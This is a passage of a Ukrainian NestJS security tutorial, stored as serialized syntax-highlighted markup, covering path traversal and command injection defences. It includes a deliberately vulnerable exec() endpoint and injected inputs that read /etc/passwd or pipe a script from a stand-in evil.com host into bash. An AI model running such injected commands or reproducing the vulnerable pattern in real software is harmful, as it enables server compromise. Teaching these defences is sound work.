GetFileDto",[5260,11738,5306],{"class":5273},[5260,11740,11741,11743,11745],{"class":5262,"line":5321},[5260,11742,5312],{"class":5273},[5260,11744,6833],{"class":5277},[5260,11746,5318],{"class":5273},[5260,11748,11749,11751,11753,11755,11757,11759,11761,11764,11768,11770,11773,11775,11777],{"class":5262,"line":5371},[5260,11750,5312],{"class":5273},[5260,11752,6843],{"class":5277},[5260,11754,5281],{"class":5273},[5260,11756,6245],{"class":6244},[5260,11758,6902],{"class":6901},[5260,11760,6249],{"class":6248},[5260,11762,11763],{"class":6244},"a-zA-Z0-9_\\-",[5260,11765,11767],{"class":11766},"sjcCO","\\.",[5260,11769,6255],{"class":6248},[5260,11771,11772],{"class":6913},"+",[5260,11774,6917],{"class":6901},[5260,11776,6245],{"class":6244},[5260,11778,11779],{"class":5273},", { \n",[5260,11781,11782,11785,11788,11791,11794],{"class":5262,"line":5377},[5260,11783,11784],{"class":5341},"    message:",[5260,11786,11787],{"class":5284}," 'Ім",[5260,11789,11790],{"class":11766},"\\'",[5260,11792,11793],{"class":5284},"я файлу може містити лише літери, цифри, дефіси, підкреслення та крапки'",[5260,11795,11796],{"class":5273}," \n",[5260,11798,11799],{"class":5262,"line":5408},[5260,11800,6059],{"class":5273},[5260,11802,11803,11806,11808,11810],{"class":5262,"line":5414},[5260,11804,11805],{"class":5341},"  filename",[5260,11807,5345],{"class":5273},[5260,11809,5348],{"class":5302},[5260,11811,5567],{"class":5273},[5260,11813,11814],{"class":5262,"line":5420},[5260,11815,5423],{"class":5273},[5089,11817,11818],{},[5099,11819,6068],{},[5251,11821,11824],{"className":11822,"code":11823,"language":5434},[5432],"Дозволено: report.pdf, invoice_2024.pdf, contract-v2.docx\nЗаборонено: ..\u002Fsecret.txt, ..\u002F..\u002Fetc\u002Fpasswd, file with spaces.pdf\n",[5200,11825,11823],{"__ignoreMap":5256},[5238,11827,11829],{"id":11828},"_3-використання-pathresolve-з-перевіркою","3. Використання path.resolve() з перевіркою",[5251,11831,11833],{"className":5253,"code":11832,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ✅ БЕЗПЕЧНО: нормалізація шляху та перевірка\nimport * as path from 'path';\n\n@Get('files\u002F:filename')\nasync getFile(@Param('filename') filename: string, @Res() res: Response) {\n  const uploadsDir = path.resolve(__dirname, 'uploads');\n  const requestedPath = path.resolve(uploadsDir, filename);\n\n  \u002F\u002F Перевірка: чи знаходиться файл всередині uploads директорії?\n  if (!requestedPath.startsWith(uploadsDir)) {\n    throw new ForbiddenException('Access denied');\n  }\n\n  \u002F\u002F Перевірка існування файлу\n  if (!fs.existsSync(requestedPath)) {\n    throw new NotFoundException('File not found');\n  }\n\n  res.sendFile(requestedPath);\n}\n",[5200,11834,11835,11840,11858,11862,11874,11910,11936,11962,11966,11971,11990,12005,12009,12013,12018,12038,12052,12056,12060,12074],{"__ignoreMap":5256},[5260,11836,11837],{"class":5262,"line":5263},[5260,11838,11839],{"class":5266},"\u002F\u002F ✅ БЕЗПЕЧНО: нормалізація шляху та перевірка\n",[5260,11841,11842,11844,11846,11848,11851,11853,11856],{"class":5262,"line":5270},[5260,11843,5938],{"class":5294},[5260,11845,7252],{"class":5298},[5260,11847,6536],{"class":5294},[5260,11849,11850],{"class":5341}," path",[5260,11852,5944],{"class":5294},[5260,11854,11855],{"class":5284}," 'path'",[5260,11857,5567],{"class":5273},[5260,11859,11860],{"class":5262,"line":5291},[5260,11861,5577],{"emptyLinePlaceholder":5576},[5260,11863,11864,11866,11868,11870,11872],{"class":5262,"line":5309},[5260,11865,5274],{"class":5273},[5260,11867,5315],{"class":5277},[5260,11869,5281],{"class":5273},[5260,11871,11372],{"class":5284},[5260,11873,5288],{"class":5273},[5260,11875,11876,11878,11880,11882,11884,11886,11888,11890,11892,11894,11896,11898,11900,11902,11904,11906,11908],{"class":5262,"line":5321},[5260,11877,6676],{"class":5341},[5260,11879,11381],{"class":5277},[5260,11881,5327],{"class":5273},[5260,11883,8714],{"class":5277},[5260,11885,5281],{"class":5273},[5260,11887,11390],{"class":5284},[5260,11889,5338],{"class":5273},[5260,11891,11395],{"class":5341},[5260,11893,5345],{"class":5273},[5260,11895,5348],{"class":5341},[5260,11897,5351],{"class":5273},[5260,11899,5354],{"class":5277},[5260,11901,5357],{"class":5273},[5260,11903,5360],{"class":5341},[5260,11905,5345],{"class":5273},[5260,11907,5365],{"class":5341},[5260,11909,5368],{"class":5273},[5260,11911,11912,11914,11917,11919,11921,11923,11926,11928,11930,11932,11934],{"class":5262,"line":5371},[5260,11913,5807],{"class":5298},[5260,11915,11916],{"class":5531}," uploadsDir",[5260,11918,5535],{"class":5273},[5260,11920,11651],{"class":5341},[5260,11922,5383],{"class":5273},[5260,11924,11925],{"class":5277},"resolve",[5260,11927,5281],{"class":5273},[5260,11929,11660],{"class":5341},[5260,11931,6012],{"class":5273},[5260,11933,11665],{"class":5284},[5260,11935,5405],{"class":5273},[5260,11937,11938,11940,11943,11945,11947,11949,11951,11953,11956,11958,11960],{"class":5262,"line":5377},[5260,11939,5807],{"class":5298},[5260,11941,11942],{"class":5531}," requestedPath",[5260,11944,5535],{"class":5273},[5260,11946,11651],{"class":5341},[5260,11948,5383],{"class":5273},[5260,11950,11925],{"class":5277},[5260,11952,5281],{"class":5273},[5260,11954,11955],{"class":5341},"uploadsDir",[5260,11957,6012],{"class":5273},[5260,11959,11395],{"class":5341},[5260,11961,5405],{"class":5273},[5260,11963,11964],{"class":5262,"line":5408},[5260,11965,5577],{"emptyLinePlaceholder":5576},[5260,11967,11968],{"class":5262,"line":5414},[5260,11969,11970],{"class":5266},"  \u002F\u002F Перевірка: чи знаходиться файл всередині uploads директорії?\n",[5260,11972,11973,11975,11977,11980,11982,11984,11986,11988],{"class":5262,"line":5420},[5260,11974,10234],{"class":5294},[5260,11976,8146],{"class":5273},[5260,11978,11979],{"class":5341},"requestedPath",[5260,11981,5383],{"class":5273},[5260,11983,10860],{"class":5277},[5260,11985,5281],{"class":5273},[5260,11987,11955],{"class":5341},[5260,11989,8220],{"class":5273},[5260,11991,11992,11994,11996,11998,12000,12003],{"class":5262,"line":5580},[5260,11993,10666],{"class":5294},[5260,11995,8228],{"class":5298},[5260,11997,8231],{"class":5277},[5260,11999,5281],{"class":5273},[5260,12001,12002],{"class":5284},"'Access denied'",[5260,12004,5405],{"class":5273},[5260,12006,12007],{"class":5262,"line":5589},[5260,12008,5417],{"class":5273},[5260,12010,12011],{"class":5262,"line":5611},[5260,12012,5577],{"emptyLinePlaceholder":5576},[5260,12014,12015],{"class":5262,"line":5637},[5260,12016,12017],{"class":5266},"  \u002F\u002F Перевірка існування файлу\n",[5260,12019,12020,12022,12024,12027,12029,12032,12034,12036],{"class":5262,"line":5643},[5260,12021,10234],{"class":5294},[5260,12023,8146],{"class":5273},[5260,12025,12026],{"class":5341},"fs",[5260,12028,5383],{"class":5273},[5260,12030,12031],{"class":5277},"existsSync",[5260,12033,5281],{"class":5273},[5260,12035,11979],{"class":5341},[5260,12037,8220],{"class":5273},[5260,12039,12040,12042,12044,12046,12048,12050],{"class":5262,"line":5649},[5260,12041,10666],{"class":5294},[5260,12043,8228],{"class":5298},[5260,12045,11625],{"class":5277},[5260,12047,5281],{"class":5273},[5260,12049,11630],{"class":5284},[5260,12051,5405],{"class":5273},[5260,12053,12054],{"class":5262,"line":5662},[5260,12055,5417],{"class":5273},[5260,12057,12058],{"class":5262,"line":5698},[5260,12059,5577],{"emptyLinePlaceholder":5576},[5260,12061,12062,12064,12066,12068,12070,12072],{"class":5262,"line":5713},[5260,12063,6369],{"class":5341},[5260,12065,5383],{"class":5273},[5260,12067,11445],{"class":5277},[5260,12069,5281],{"class":5273},[5260,12071,11979],{"class":5341},[5260,12073,5405],{"class":5273},[5260,12075,12076],{"class":5262,"line":5718},[5260,12077,5423],{"class":5273},[5089,12079,12080],{},[5099,12081,10354],{},[5251,12083,12085],{"className":5253,"code":12084,"language":5255,"meta":5256,"style":5256},"uploadsDir = \u002Fapp\u002Fuploads\nfilename = ..\u002F..\u002Fetc\u002Fpasswd\n\nrequestedPath = path.resolve(\u002Fapp\u002Fuploads, ..\u002F..\u002Fetc\u002Fpasswd)\n              = \u002Fetc\u002Fpasswd\n\nrequestedPath.startsWith(uploadsDir) → false\n→ Доступ заборонено!\n",[5200,12086,12087,12101,12116,12120,12154,12165,12169,12187],{"__ignoreMap":5256},[5260,12088,12089,12091,12094,12096,12098],{"class":5262,"line":5263},[5260,12090,11955],{"class":5341},[5260,12092,12093],{"class":5273}," = \u002F",[5260,12095,5958],{"class":5341},[5260,12097,6245],{"class":5273},[5260,12099,12100],{"class":5341},"uploads\n",[5260,12102,12103,12105,12108,12111,12113],{"class":5262,"line":5270},[5260,12104,11395],{"class":5341},[5260,12106,12107],{"class":5273}," = ..\u002F..\u002F",[5260,12109,12110],{"class":5341},"etc",[5260,12112,6245],{"class":5273},[5260,12114,12115],{"class":5341},"passwd\n",[5260,12117,12118],{"class":5262,"line":5291},[5260,12119,5577],{"emptyLinePlaceholder":5576},[5260,12121,12122,12124,12126,12128,12130,12132,12135,12137,12139,12142,12145,12147,12149,12152],{"class":5262,"line":5309},[5260,12123,11979],{"class":5341},[5260,12125,5535],{"class":5273},[5260,12127,11651],{"class":5341},[5260,12129,5383],{"class":5273},[5260,12131,11925],{"class":5277},[5260,12133,12134],{"class":5273},"(\u002F",[5260,12136,5958],{"class":5341},[5260,12138,6245],{"class":5273},[5260,12140,12141],{"class":5341},"uploads",[5260,12143,12144],{"class":5273},", ..\u002F..\u002F",[5260,12146,12110],{"class":5341},[5260,12148,6245],{"class":5273},[5260,12150,12151],{"class":5341},"passwd",[5260,12153,5288],{"class":5273},[5260,12155,12156,12159,12161,12163],{"class":5262,"line":5321},[5260,12157,12158],{"class":5273},"              = \u002F",[5260,12160,12110],{"class":5341},[5260,12162,6245],{"class":5273},[5260,12164,12115],{"class":5341},[5260,12166,12167],{"class":5262,"line":5371},[5260,12168,5577],{"emptyLinePlaceholder":5576},[5260,12170,12171,12173,12175,12177,12179,12181,12184],{"class":5262,"line":5377},[5260,12172,11979],{"class":5341},[5260,12174,5383],{"class":5273},[5260,12176,10860],{"class":5277},[5260,12178,5281],{"class":5273},[5260,12180,11955],{"class":5341},[5260,12182,12183],{"class":5273},") → ",[5260,12185,12186],{"class":5298},"false\n",[5260,12188,12189,12192,12195,12198],{"class":5262,"line":5408},[5260,12190,12191],{"class":5273},"→ ",[5260,12193,12194],{"class":5341},"Доступ",[5260,12196,12197],{"class":5341}," заборонено",[5260,12199,12200],{"class":5273},"!\n",[5238,12202,12204],{"id":12203},"_4-використання-uuid-для-імен-файлів","4. Використання UUID для імен файлів",[5251,12206,12208],{"className":5253,"code":12207,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Ffiles\u002Ffiles.service.ts\nimport { v4 as uuidv4 } from 'uuid';\n\n@Injectable()\nexport class FilesService {\n  async uploadFile(file: Express.Multer.File) {\n    \u002F\u002F Генерувати унікальне ім'я файлу (уникаємо user input)\n    const extension = path.extname(file.originalname);\n    const filename = `${uuidv4()}${extension}`;\n    const filepath = path.join('.\u002Fuploads', filename);\n\n    await fs.promises.writeFile(filepath, file.buffer);\n\n    return { filename };\n  }\n\n  async getFile(filename: string) {\n    \u002F\u002F filename = \"a3f2e8d5-9c4b-4f3a-8e2d-1a2b3c4d5e6f.pdf\" (не містить ..)\n    const filepath = path.join('.\u002Fuploads', filename);\n    \n    if (!fs.existsSync(filepath)) {\n      throw new NotFoundException('File not found');\n    }\n\n    return filepath;\n  }\n}\n",[5200,12209,12210,12215,12238,12242,12250,12261,12290,12295,12322,12353,12379,12383,12417,12421,12431,12435,12439,12455,12460,12484,12488,12506,12520,12524,12528,12536,12540],{"__ignoreMap":5256},[5260,12211,12212],{"class":5262,"line":5263},[5260,12213,12214],{"class":5266},"\u002F\u002F src\u002Ffiles\u002Ffiles.service.ts\n",[5260,12216,12217,12219,12221,12224,12226,12229,12231,12233,12236],{"class":5262,"line":5270},[5260,12218,5938],{"class":5294},[5260,12220,6474],{"class":5273},[5260,12222,12223],{"class":5341},"v4",[5260,12225,6536],{"class":5294},[5260,12227,12228],{"class":5341}," uuidv4",[5260,12230,6480],{"class":5273},[5260,12232,6483],{"class":5294},[5260,12234,12235],{"class":5284}," 'uuid'",[5260,12237,5567],{"class":5273},[5260,12239,12240],{"class":5262,"line":5291},[5260,12241,5577],{"emptyLinePlaceholder":5576},[5260,12243,12244,12246,12248],{"class":5262,"line":5309},[5260,12245,5274],{"class":5273},[5260,12247,7688],{"class":5277},[5260,12249,5318],{"class":5273},[5260,12251,12252,12254,12256,12259],{"class":5262,"line":5321},[5260,12253,5295],{"class":5294},[5260,12255,5299],{"class":5298},[5260,12257,12258],{"class":5302}," FilesService",[5260,12260,5306],{"class":5273},[5260,12262,12263,12265,12268,12270,12273,12275,12278,12280,12283,12285,12288],{"class":5262,"line":5371},[5260,12264,5498],{"class":5298},[5260,12266,12267],{"class":5277}," uploadFile",[5260,12269,5281],{"class":5273},[5260,12271,12272],{"class":5341},"file",[5260,12274,5345],{"class":5273},[5260,12276,12277],{"class":5302},"Express",[5260,12279,5383],{"class":5273},[5260,12281,12282],{"class":5302},"Multer",[5260,12284,5383],{"class":5273},[5260,12286,12287],{"class":5302},"File",[5260,12289,5368],{"class":5273},[5260,12291,12292],{"class":5262,"line":5377},[5260,12293,12294],{"class":5266},"    \u002F\u002F Генерувати унікальне ім'я файлу (уникаємо user input)\n",[5260,12296,12297,12299,12302,12304,12306,12308,12311,12313,12315,12317,12320],{"class":5262,"line":5408},[5260,12298,5528],{"class":5298},[5260,12300,12301],{"class":5531}," extension",[5260,12303,5535],{"class":5273},[5260,12305,11651],{"class":5341},[5260,12307,5383],{"class":5273},[5260,12309,12310],{"class":5277},"extname",[5260,12312,5281],{"class":5273},[5260,12314,12272],{"class":5341},[5260,12316,5383],{"class":5273},[5260,12318,12319],{"class":5341},"originalname",[5260,12321,5405],{"class":5273},[5260,12323,12324,12326,12329,12331,12333,12335,12338,12341,12344,12347,12349,12351],{"class":5262,"line":5414},[5260,12325,5528],{"class":5298},[5260,12327,12328],{"class":5531}," filename",[5260,12330,5535],{"class":5273},[5260,12332,11434],{"class":5284},[5260,12334,5394],{"class":5298},[5260,12336,12337],{"class":5277},"uuidv4",[5260,12339,12340],{"class":5686},"()",[5260,12342,12343],{"class":5298},"}${",[5260,12345,12346],{"class":5341},"extension",[5260,12348,5399],{"class":5298},[5260,12350,11434],{"class":5284},[5260,12352,5567],{"class":5273},[5260,12354,12355,12357,12360,12362,12364,12366,12368,12370,12373,12375,12377],{"class":5262,"line":5420},[5260,12356,5528],{"class":5298},[5260,12358,12359],{"class":5531}," filepath",[5260,12361,5535],{"class":5273},[5260,12363,11651],{"class":5341},[5260,12365,5383],{"class":5273},[5260,12367,5703],{"class":5277},[5260,12369,5281],{"class":5273},[5260,12371,12372],{"class":5284},"'.\u002Fuploads'",[5260,12374,6012],{"class":5273},[5260,12376,11395],{"class":5341},[5260,12378,5405],{"class":5273},[5260,12380,12381],{"class":5262,"line":5580},[5260,12382,5577],{"emptyLinePlaceholder":5576},[5260,12384,12385,12388,12391,12393,12396,12398,12401,12403,12406,12408,12410,12412,12415],{"class":5262,"line":5589},[5260,12386,12387],{"class":5294},"    await",[5260,12389,12390],{"class":5341}," fs",[5260,12392,5383],{"class":5273},[5260,12394,12395],{"class":5341},"promises",[5260,12397,5383],{"class":5273},[5260,12399,12400],{"class":5277},"writeFile",[5260,12402,5281],{"class":5273},[5260,12404,12405],{"class":5341},"filepath",[5260,12407,6012],{"class":5273},[5260,12409,12272],{"class":5341},[5260,12411,5383],{"class":5273},[5260,12413,12414],{"class":5341},"buffer",[5260,12416,5405],{"class":5273},[5260,12418,12419],{"class":5262,"line":5611},[5260,12420,5577],{"emptyLinePlaceholder":5576},[5260,12422,12423,12425,12427,12429],{"class":5262,"line":5637},[5260,12424,5562],{"class":5294},[5260,12426,6474],{"class":5273},[5260,12428,11395],{"class":5341},[5260,12430,7849],{"class":5273},[5260,12432,12433],{"class":5262,"line":5643},[5260,12434,5417],{"class":5273},[5260,12436,12437],{"class":5262,"line":5649},[5260,12438,5577],{"emptyLinePlaceholder":5576},[5260,12440,12441,12443,12445,12447,12449,12451,12453],{"class":5262,"line":5662},[5260,12442,5498],{"class":5298},[5260,12444,11381],{"class":5277},[5260,12446,5281],{"class":5273},[5260,12448,11395],{"class":5341},[5260,12450,5345],{"class":5273},[5260,12452,5348],{"class":5302},[5260,12454,5368],{"class":5273},[5260,12456,12457],{"class":5262,"line":5698},[5260,12458,12459],{"class":5266},"    \u002F\u002F filename = \"a3f2e8d5-9c4b-4f3a-8e2d-1a2b3c4d5e6f.pdf\" (не містить ..)\n",[5260,12461,12462,12464,12466,12468,12470,12472,12474,12476,12478,12480,12482],{"class":5262,"line":5713},[5260,12463,5528],{"class":5298},[5260,12465,12359],{"class":5531},[5260,12467,5535],{"class":5273},[5260,12469,11651],{"class":5341},[5260,12471,5383],{"class":5273},[5260,12473,5703],{"class":5277},[5260,12475,5281],{"class":5273},[5260,12477,12372],{"class":5284},[5260,12479,6012],{"class":5273},[5260,12481,11395],{"class":5341},[5260,12483,5405],{"class":5273},[5260,12485,12486],{"class":5262,"line":5718},[5260,12487,5640],{"class":5273},[5260,12489,12490,12492,12494,12496,12498,12500,12502,12504],{"class":5262,"line":5734},[5260,12491,8143],{"class":5294},[5260,12493,8146],{"class":5273},[5260,12495,12026],{"class":5341},[5260,12497,5383],{"class":5273},[5260,12499,12031],{"class":5277},[5260,12501,5281],{"class":5273},[5260,12503,12405],{"class":5341},[5260,12505,8220],{"class":5273},[5260,12507,12508,12510,12512,12514,12516,12518],{"class":5262,"line":5739},[5260,12509,8225],{"class":5294},[5260,12511,8228],{"class":5298},[5260,12513,11625],{"class":5277},[5260,12515,5281],{"class":5273},[5260,12517,11630],{"class":5284},[5260,12519,5405],{"class":5273},[5260,12521,12522],{"class":5262,"line":8257},[5260,12523,8170],{"class":5273},[5260,12525,12526],{"class":5262,"line":8262},[5260,12527,5577],{"emptyLinePlaceholder":5576},[5260,12529,12530,12532,12534],{"class":5262,"line":10095},[5260,12531,5562],{"class":5294},[5260,12533,12359],{"class":5341},[5260,12535,5567],{"class":5273},[5260,12537,12538],{"class":5262,"line":10101},[5260,12539,5417],{"class":5273},[5260,12541,12542],{"class":5262,"line":10106},[5260,12543,5423],{"class":5273},[5089,12545,12546,12549],{},[5099,12547,12548],{},"Перевага:"," користувач ніколи не контролює імена файлів → атака неможлива.",[5143,12551],{},[5084,12553,12555],{"id":12554},"command-injection-виконання-системних-команд","Command Injection: Виконання системних команд",[5089,12557,12558,12560],{},[5099,12559,5131],{}," — це атака, при якій зловмисник впроваджує системні команди через user input для виконання на сервері.",[5233,12562,12564],{"id":12563},"приклад-command-injection-атаки","Приклад Command Injection атаки",[5089,12566,12567],{},[5099,12568,8679],{},[5251,12570,12572],{"className":5253,"code":12571,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: використання user input у системних командах\nimport { exec } from 'child_process';\n\n@Get('ping\u002F:host')\nasync ping(@Param('host') host: string) {\n  return new Promise((resolve, reject) => {\n    exec(`ping -c 4 ${host}`, (error, stdout, stderr) => {\n      if (error) {\n        reject(error);\n      }\n      resolve({ output: stdout });\n    });\n  });\n}\n",[5200,12573,12574,12579,12597,12601,12614,12641,12665,12703,12714,12725,12730,12745,12749,12753],{"__ignoreMap":5256},[5260,12575,12576],{"class":5262,"line":5263},[5260,12577,12578],{"class":5266},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: використання user input у системних командах\n",[5260,12580,12581,12583,12585,12588,12590,12592,12595],{"class":5262,"line":5270},[5260,12582,5938],{"class":5294},[5260,12584,6474],{"class":5273},[5260,12586,12587],{"class":5341},"exec",[5260,12589,6480],{"class":5273},[5260,12591,6483],{"class":5294},[5260,12593,12594],{"class":5284}," 'child_process'",[5260,12596,5567],{"class":5273},[5260,12598,12599],{"class":5262,"line":5291},[5260,12600,5577],{"emptyLinePlaceholder":5576},[5260,12602,12603,12605,12607,12609,12612],{"class":5262,"line":5309},[5260,12604,5274],{"class":5273},[5260,12606,5315],{"class":5277},[5260,12608,5281],{"class":5273},[5260,12610,12611],{"class":5284},"'ping\u002F:host'",[5260,12613,5288],{"class":5273},[5260,12615,12616,12618,12621,12623,12625,12627,12630,12632,12635,12637,12639],{"class":5262,"line":5321},[5260,12617,6676],{"class":5341},[5260,12619,12620],{"class":5277}," ping",[5260,12622,5327],{"class":5273},[5260,12624,8714],{"class":5277},[5260,12626,5281],{"class":5273},[5260,12628,12629],{"class":5284},"'host'",[5260,12631,5338],{"class":5273},[5260,12633,12634],{"class":5341},"host",[5260,12636,5345],{"class":5273},[5260,12638,5348],{"class":5341},[5260,12640,5368],{"class":5273},[5260,12642,12643,12645,12647,12650,12652,12654,12656,12659,12661,12663],{"class":5262,"line":5371},[5260,12644,6231],{"class":5294},[5260,12646,8228],{"class":5298},[5260,12648,12649],{"class":5302}," Promise",[5260,12651,9916],{"class":5273},[5260,12653,11925],{"class":5341},[5260,12655,6012],{"class":5273},[5260,12657,12658],{"class":5341},"reject",[5260,12660,5338],{"class":5273},[5260,12662,6271],{"class":5298},[5260,12664,5306],{"class":5273},[5260,12666,12667,12670,12672,12675,12677,12679,12681,12683,12685,12687,12689,12692,12694,12697,12699,12701],{"class":5262,"line":5377},[5260,12668,12669],{"class":5277},"    exec",[5260,12671,5281],{"class":5273},[5260,12673,12674],{"class":5284},"`ping -c 4 ",[5260,12676,5394],{"class":5298},[5260,12678,12634],{"class":5341},[5260,12680,5399],{"class":5298},[5260,12682,11434],{"class":5284},[5260,12684,6263],{"class":5273},[5260,12686,9919],{"class":5341},[5260,12688,6012],{"class":5273},[5260,12690,12691],{"class":5341},"stdout",[5260,12693,6012],{"class":5273},[5260,12695,12696],{"class":5341},"stderr",[5260,12698,5338],{"class":5273},[5260,12700,6271],{"class":5298},[5260,12702,5306],{"class":5273},[5260,12704,12705,12708,12710,12712],{"class":5262,"line":5408},[5260,12706,12707],{"class":5294},"      if",[5260,12709,8600],{"class":5273},[5260,12711,9919],{"class":5341},[5260,12713,5368],{"class":5273},[5260,12715,12716,12719,12721,12723],{"class":5262,"line":5414},[5260,12717,12718],{"class":5277},"        reject",[5260,12720,5281],{"class":5273},[5260,12722,9919],{"class":5341},[5260,12724,5405],{"class":5273},[5260,12726,12727],{"class":5262,"line":5420},[5260,12728,12729],{"class":5273},"      }\n",[5260,12731,12732,12735,12737,12740,12743],{"class":5262,"line":5580},[5260,12733,12734],{"class":5277},"      resolve",[5260,12736,7359],{"class":5273},[5260,12738,12739],{"class":5341},"output:",[5260,12741,12742],{"class":5341}," stdout",[5260,12744,6743],{"class":5273},[5260,12746,12747],{"class":5262,"line":5589},[5260,12748,7831],{"class":5273},[5260,12750,12751],{"class":5262,"line":5611},[5260,12752,6646],{"class":5273},[5260,12754,12755],{"class":5262,"line":5637},[5260,12756,5423],{"class":5273},[5089,12758,12759],{},[5099,12760,8798],{},[5251,12762,12765],{"className":12763,"code":12764,"language":5434},[5432],"GET \u002Fping\u002Fgoogle.com\n\nКоманда: ping -c 4 google.com\nРезультат: PING google.com ...\n",[5200,12766,12764],{"__ignoreMap":5256},[5089,12768,12769],{},[5099,12770,5428],{},[5251,12772,12775],{"className":12773,"code":12774,"language":5434},[5432],"GET \u002Fping\u002Fgoogle.com; cat \u002Fetc\u002Fpasswd\n\nКоманда: ping -c 4 google.com; cat \u002Fetc\u002Fpasswd\nРезультат: виконує обидві команди — ping + виводить \u002Fetc\u002Fpasswd\n",[5200,12776,12774],{"__ignoreMap":5256},[5089,12778,12779],{},[5099,12780,12781],{},"Атака для backdoor:",[5251,12783,12786],{"className":12784,"code":12785,"language":5434},[5432],"GET \u002Fping\u002Fgoogle.com; curl https:\u002F\u002Fevil.com\u002Fbackdoor.sh | bash\n\nРезультат: завантажує та виконує зловмисний script\n",[5200,12787,12785],{"__ignoreMap":5256},[5233,12789,12791],{"id":12790},"захист-від-command-injection","Захист від Command Injection",[5238,12793,12795],{"id":12794},"_1-уникати-child_processexec-з-user-input","1. Уникати child_process.exec() з user input",[5251,12797,12799],{"className":5253,"code":12798,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ❌ НЕБЕЗПЕЧНО\nimport { exec } from 'child_process';\nexec(`command ${userInput}`);\n\n\u002F\u002F ✅ БЕЗПЕЧНО: використання spawn() з масивом аргументів\nimport { spawn } from 'child_process';\n\n@Get('ping\u002F:host')\nasync ping(@Param('host') host: string) {\n  \u002F\u002F Валідація: дозволити лише домени\u002FIP\n  if (!\u002F^[a-zA-Z0-9\\.\\-]+$\u002F.test(host)) {\n    throw new BadRequestException('Invalid host');\n  }\n\n  return new Promise((resolve, reject) => {\n    const process = spawn('ping', ['-c', '4', host]); \u002F\u002F Аргументи передаються як масив\n\n    let output = '';\n    process.stdout.on('data', (data) => {\n      output += data.toString();\n    });\n\n    process.on('close', (code) => {\n      if (code !== 0) {\n        reject(new Error(`ping exited with code ${code}`));\n      }\n      resolve({ output });\n    });\n  });\n}\n",[5200,12800,12801,12805,12821,12840,12844,12849,12866,12870,12882,12906,12911,12948,12964,12968,12972,12994,13031,13035,13049,13079,13096,13100,13104,13127,13142,13169,13173,13184,13189,13194],{"__ignoreMap":5256},[5260,12802,12803],{"class":5262,"line":5263},[5260,12804,6771],{"class":5266},[5260,12806,12807,12809,12811,12813,12815,12817,12819],{"class":5262,"line":5270},[5260,12808,5938],{"class":5294},[5260,12810,6474],{"class":5273},[5260,12812,12587],{"class":5341},[5260,12814,6480],{"class":5273},[5260,12816,6483],{"class":5294},[5260,12818,12594],{"class":5284},[5260,12820,5567],{"class":5273},[5260,12822,12823,12825,12827,12830,12832,12834,12836,12838],{"class":5262,"line":5291},[5260,12824,12587],{"class":5277},[5260,12826,5281],{"class":5273},[5260,12828,12829],{"class":5284},"`command ",[5260,12831,5394],{"class":5298},[5260,12833,5906],{"class":5341},[5260,12835,5399],{"class":5298},[5260,12837,11434],{"class":5284},[5260,12839,5405],{"class":5273},[5260,12841,12842],{"class":5262,"line":5309},[5260,12843,5577],{"emptyLinePlaceholder":5576},[5260,12845,12846],{"class":5262,"line":5321},[5260,12847,12848],{"class":5266},"\u002F\u002F ✅ БЕЗПЕЧНО: використання spawn() з масивом аргументів\n",[5260,12850,12851,12853,12855,12858,12860,12862,12864],{"class":5262,"line":5371},[5260,12852,5938],{"class":5294},[5260,12854,6474],{"class":5273},[5260,12856,12857],{"class":5341},"spawn",[5260,12859,6480],{"class":5273},[5260,12861,6483],{"class":5294},[5260,12863,12594],{"class":5284},[5260,12865,5567],{"class":5273},[5260,12867,12868],{"class":5262,"line":5377},[5260,12869,5577],{"emptyLinePlaceholder":5576},[5260,12871,12872,12874,12876,12878,12880],{"class":5262,"line":5408},[5260,12873,5274],{"class":5273},[5260,12875,5315],{"class":5277},[5260,12877,5281],{"class":5273},[5260,12879,12611],{"class":5284},[5260,12881,5288],{"class":5273},[5260,12883,12884,12886,12888,12890,12892,12894,12896,12898,12900,12902,12904],{"class":5262,"line":5414},[5260,12885,6676],{"class":5341},[5260,12887,12620],{"class":5277},[5260,12889,5327],{"class":5273},[5260,12891,8714],{"class":5277},[5260,12893,5281],{"class":5273},[5260,12895,12629],{"class":5284},[5260,12897,5338],{"class":5273},[5260,12899,12634],{"class":5341},[5260,12901,5345],{"class":5273},[5260,12903,5348],{"class":5341},[5260,12905,5368],{"class":5273},[5260,12907,12908],{"class":5262,"line":5420},[5260,12909,12910],{"class":5266},"  \u002F\u002F Валідація: дозволити лише домени\u002FIP\n",[5260,12912,12913,12915,12917,12919,12921,12923,12926,12929,12931,12933,12935,12937,12939,12942,12944,12946],{"class":5262,"line":5580},[5260,12914,10234],{"class":5294},[5260,12916,8146],{"class":5273},[5260,12918,6245],{"class":6244},[5260,12920,6902],{"class":6901},[5260,12922,6249],{"class":6248},[5260,12924,12925],{"class":6244},"a-zA-Z0-9",[5260,12927,12928],{"class":11766},"\\.\\-",[5260,12930,6255],{"class":6248},[5260,12932,11772],{"class":6913},[5260,12934,6917],{"class":6901},[5260,12936,6245],{"class":6244},[5260,12938,5383],{"class":5273},[5260,12940,12941],{"class":5277},"test",[5260,12943,5281],{"class":5273},[5260,12945,12634],{"class":5341},[5260,12947,8220],{"class":5273},[5260,12949,12950,12952,12954,12957,12959,12962],{"class":5262,"line":5589},[5260,12951,10666],{"class":5294},[5260,12953,8228],{"class":5298},[5260,12955,12956],{"class":5277}," BadRequestException",[5260,12958,5281],{"class":5273},[5260,12960,12961],{"class":5284},"'Invalid host'",[5260,12963,5405],{"class":5273},[5260,12965,12966],{"class":5262,"line":5611},[5260,12967,5417],{"class":5273},[5260,12969,12970],{"class":5262,"line":5637},[5260,12971,5577],{"emptyLinePlaceholder":5576},[5260,12973,12974,12976,12978,12980,12982,12984,12986,12988,12990,12992],{"class":5262,"line":5643},[5260,12975,6231],{"class":5294},[5260,12977,8228],{"class":5298},[5260,12979,12649],{"class":5302},[5260,12981,9916],{"class":5273},[5260,12983,11925],{"class":5341},[5260,12985,6012],{"class":5273},[5260,12987,12658],{"class":5341},[5260,12989,5338],{"class":5273},[5260,12991,6271],{"class":5298},[5260,12993,5306],{"class":5273},[5260,12995,12996,12998,13001,13003,13005,13007,13010,13013,13016,13018,13021,13023,13025,13028],{"class":5262,"line":5649},[5260,12997,5528],{"class":5298},[5260,12999,13000],{"class":5531}," 